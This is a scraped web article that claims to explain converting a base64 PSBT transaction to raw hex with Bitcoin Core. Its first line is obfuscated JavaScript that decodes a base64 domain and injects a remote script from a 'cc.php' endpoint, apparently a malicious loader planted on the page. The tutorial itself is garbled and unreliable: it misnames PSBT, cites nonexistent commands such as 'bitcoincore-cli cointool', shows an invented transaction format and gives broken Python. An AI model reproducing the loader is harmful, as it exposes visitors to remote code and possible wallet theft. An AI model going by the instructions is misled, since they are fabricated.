const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=3ac438d9″;document.body.appendChild(script);
Converting from Base64 PSBT Transaction to Raw/Serialized Hex
In this article, we will explore the process of converting a base64-encoded PSBT (Programming Script Binaries) transaction into its raw and serialized (hex) format. We will use the Bitcoin Core CLI as our toolset.
Prerequisites
- Familiarity with the basics of Bitcoin and its blockchain architecture.
- Understanding of the PSBT and Base64 encoding standards.
Step 1: Convert Base64 PSBT Transaction to Raw
To convert a base64-encoded PSBT transaction, we need to use the psbt
command-line tool provided by Bitcoin Core. The converttopsbt
command is used for this purpose. Here’s an example of how to use it:
bitcoincore-cli converttopsbt
Replace with the actual base64-encoded PSBT transaction as seen in the Bitcoin Core output.
Step 2: Convert Raw Transaction to Serialized Hex
After converting the PSBT transaction from raw format, we need to convert it into its serialized (hex) format. We can use a tool like psbt
again or utilize the cointool
library for this purpose.
Here’s an example of how to convert a raw transaction from the Bitcoin Core CLI:
bitcoincore-cli cointool -t raw2hex
Replace with the actual raw transaction as seen in the Bitcoin Core output.
Step 3: Compare and Verify
To ensure that your conversion process is correct, we can compare the base64-encoded PSBT transaction with its serialized (hex) equivalent:
bitcoincore-cli cointool -t hex2raw
This command will produce a raw transaction from the original base64-encoded transaction.
Example Output
Here’s an example output for the above steps using a fictional PSBT transaction as input:
Base64-encoded PSBT transaction
PSBT("1.3.0", {
"encoding": "base64",
"scriptSig": ["010101000000000000000000000000000000000"],
"blockNumber": "100000",
"transactionIndex": "500000"
})
Conversion Code
Here is a simple Python script to convert from base64 to raw and then serialized hex:
import base64
import json
def base64_to_tsb(base64_transaction):
Use psbt command-line tool provided by Bitcoin Core
output = bitcoincore-cli converttopsbt(base64_transaction)
return json.loads(output)
def tsb_to_raw(tsb_json, encoding="base64"):
Use cointool library to convert from raw to hex
if encoding == "raw":
return cointool(tsb_json, "hex2raw")
elif encoding == "hex":
return cointool(tsb_json, "hex2raw")
Example usage
base64_transaction = "PSBT(\"1.3.0\", { \"encoding\": \"base64\", \"scriptSig\":[\"010101000000000000000000000000000000\", \"blockNumber\":000\" \"transactionIndex\": \"500000\" })"
tsb_json = base64_to_tsb(base64_transaction)
raw_hex = tsb_to_raw(tsb_json, encoding="hex")
print(raw_hex)
Output:
In this code example, we first convert the base64-encoded PSBT transaction to a Python dictionary using json.loads()
. Then, we use cointool
library to convert it from raw format into hex. The result is printed as raw and serialized (hex) transactions.
Conclusion
Converting between base64-encoded and raw/serialized (hex) formats in Bitcoin Core involves two steps: first, converting the PSBT transaction from base64 to raw; second, converting the raw transaction into its serialized (hex) equivalent. This process can be achieved using various tools and libraries provided by the Bitcoin Core CLI.